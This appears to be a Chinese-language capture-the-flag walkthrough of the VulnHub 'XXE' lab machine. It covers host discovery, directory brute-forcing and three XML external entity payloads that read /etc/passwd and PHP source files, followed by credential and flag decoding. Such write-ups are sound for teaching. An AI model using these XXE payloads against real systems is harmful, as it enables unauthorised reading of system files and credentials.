vulnhub-XXE靶机渗透
靶机:
0x01 确定目标IP
目标网络模式默认为net模式,无需修改
使用arp-scan或者netdiscover确定目标ip
arp-scan -l 或者 netdiscover -i eth1 目标ip为 192.168.88.128
探测端口,发现目标机器只开启了80端口
访问web服务发现为apache默认页面,猜测存在隐藏目录
0x02 目录爆破
dirb http://192.168.88.128 只扫到一个robots.txt文件
访问 http://192.168.88.128/robots.txt 一个/xxe/目录,有个后台页面
先访问xxe目录 http://192.168.88.128/xxe/
输入用户名密码进行抓包分析
可以看到用户名密码是通过xml传递给后端的
0x02 xxe漏洞利用
burp抓包,修改post体,尝试读取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>
接下来我们可以使用php://filter/read=convert.base64-encode/resource=admin.php读取admin.php的源码。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>admin</name><password>admin</password></root>
返回包进行了加密,无法直接找到flag
base64解码:找到用户名密码 administhebest/e6e061838856bf47e1de730719fb2609
对password密文进一步解码,获得用户名密码:administhebest/admin@123
使用账户名密码登录admin.php
点击登录出现的一个红色的flag字样
当点击flag会跳转http://192.168.88.128/flagmeout.php 一个空白页
查看页面源码获得flag提示
<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->
先进行base32 解码,再进行base64解码
查看/etc/.flag.php源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
base64解码:看不懂是啥东西,将返回内容复制保存为php
开启web服务 php -S 0.0.0.0:8090 -t /root
返回的还是刚才那串字符
看到大家都是使用xampp去运行php文件,通过报错信息获得的flag,我这边报错信息中未发现flag!